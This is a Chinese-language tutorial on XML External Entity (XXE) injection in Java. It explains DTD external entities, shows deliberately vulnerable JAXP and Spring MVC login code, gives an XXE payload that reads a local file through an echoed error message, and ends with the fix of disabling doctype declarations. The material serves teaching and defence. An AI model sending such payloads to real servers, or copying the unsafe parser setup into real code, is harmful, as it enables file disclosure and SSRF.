XXE(XML External Entity Injection)即XML外部实体注入,是一种和XML文档解析相关的Web安全漏洞。XXE漏洞可以和服务端请求伪造攻击SSRF联合使用,达到非法访问内网地址,甚至直接访问被攻击主机的文件系统内容的目的,可能存在较大危害。
XML是一种古老的数据序列化格式,曾经广泛应用于数据传输和存储,尤其是Java领域存在大量XML编写的数据文件和配置文件,此外包括SOAP协议等也广泛使用XML格式进行数据传输。XML支持很多繁杂的功能特性,有些特性尽管很少用到,但它们却包含了潜在的安全漏洞。
我们知道XML约束有DTD和Schema两种,而DTD中的外部实体引用功能存在潜在的XXE漏洞。DTD是一种XML的约束描述文件,它可以独立编写并引入XML文档,也可以内联编写在XML文档中,下面例子中我们在XML文档中内联编写了一个DTD约束,它规定该XML文档以<note>
为根节点,它存在<to>
、<from>
、<heading>
、<body>
4个子节点,子节点的数据类型为#PCDATA
。
<!DOCTYPE note [
<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tom</to>
<from>Lucy</from>
<heading>Hi, Tom</heading>
<body>Don't forget me this weekend!</body>
</note>
有关DTD如何编写可以参考XML相关章节,这里仅作为一个示例,不过多赘述。上面编写的是一个比较正常的DTD约束,但DTD支持的外部实体引用特性可能引发安全风险,我们参考下面例子。
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY xxe SYSTEM "file:///d://flag" >]>
<hack>
<name>&xxe;</name>
</hack>
代码中DTD声明了一个实体xxe
,在<name>
节点中通过&xxe;
引用了该实体,实际上在XML解析中,支持DTD外部实体引用功能的解析器就会将&xxe;
替换为对应的外部内容,这显然具备潜在的被SSRF攻击的风险,不幸的是JDK的JAXP默认就开启了外部实体引用支持,此外也有很多其它语言的XML解析库可能存在问题,如果你不知道该特性就可能遭受XXE攻击,下面例子代码就存在XXE漏洞。
package com.gacfox.demo;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import java.io.InputStream;
public class Main {
public static void main(String[] args) throws Exception {
// 使用JAXP解析XML数据
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
try (InputStream inputStream = Main.class.getClassLoader().getResourceAsStream("demo.xml")) {
Document document = builder.parse(inputStream);
Element rootElement = document.getDocumentElement();
// 读取name节点的文本信息
NodeList nodeList = rootElement.getElementsByTagName("name");
Node nameNode = nodeList.item(0);
String textContent = nameNode.getTextContent();
System.out.println(textContent);
}
}
}
假设demo.xml
是用户输入的内容,我们解析该XML文档并返回其中<name>
节点的数据。代码看似正常但实则暗藏危机,上面代码执行输出的内容实际上是D://flag
文件内部的内容,如果这段内容包含在服务端程序中,显然存在SSRF风险。
下面是用Java的SpringMVC框架编写的一段服务端程序,Controller中我们定义了/xxe/login
接口用于演示XXE攻击。该接口实现了一个登录功能,它会在登录成功时跳转/dashboard
视图;在登录失败时,根据用户名不存在和登录失败情况分别回显“用户名不存在”和“密码错误”的信息。注意回显的“用户名不存在”错误信息中,name
字段是从已经解析的XML文档中取出的,这给直接回显DTD加载的外部实体提供了便利。
package com.gacfox.demo.demoboot;
import org.springframework.http.MediaType;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.InputSource;
import javax.annotation.Resource;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import java.io.StringReader;
@Controller
@RequestMapping("/xxe")
public class XxeController {
@Resource
private UserService userService;
@Resource
private LoginService loginService;
@RequestMapping(value = "/login", method = RequestMethod.POST, consumes = MediaType.APPLICATION_XML_VALUE)
public String login(@RequestBody String loginReq, Model model) throws Exception {
// 使用JAXP解析XML请求
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document document = builder.parse(new InputSource(new StringReader(loginReq)));
Element rootElement = document.getDocumentElement();
// 读取name节点的文本信息
NodeList nodeList = rootElement.getElementsByTagName("name");
Node nameNode = nodeList.item(0);
String name = nameNode.getTextContent();
// 读取password节点的文本信息
nodeList = rootElement.getElementsByTagName("password");
Node passwordNode = nodeList.item(0);
String password = passwordNode.getTextContent();
if (userService.getUserByUsername(name) == null) {
// 用户名不存在
model.addAttribute("errMessage", "用户名[" + name + "]不存在!");
return "login";
}
if (!loginService.login(name, password)) {
// 登录失败
model.addAttribute("errMessage", "密码错误,请重新输入!");
return "login";
}
// 登录成功
return "redirect:/dashboard";
}
}
我们构造XML输入:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///d://flag" >]>
<user>
<name>&xxe;</name>
<password>abc123</password>
</user>
服务端返回结果:
用户名[This is flag!!!!!!]不存在!
其中,This is flag!!!!!!
就是文件D://flag
中的内容。
防御XXE攻击其实也很简单,我们在XML解析库中配置禁止解析外部实体即可。下面例子代码直接将JAXP的DTD解析禁用:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
对于其它的XML解析库大多也有对应设置,具体参考相关文档。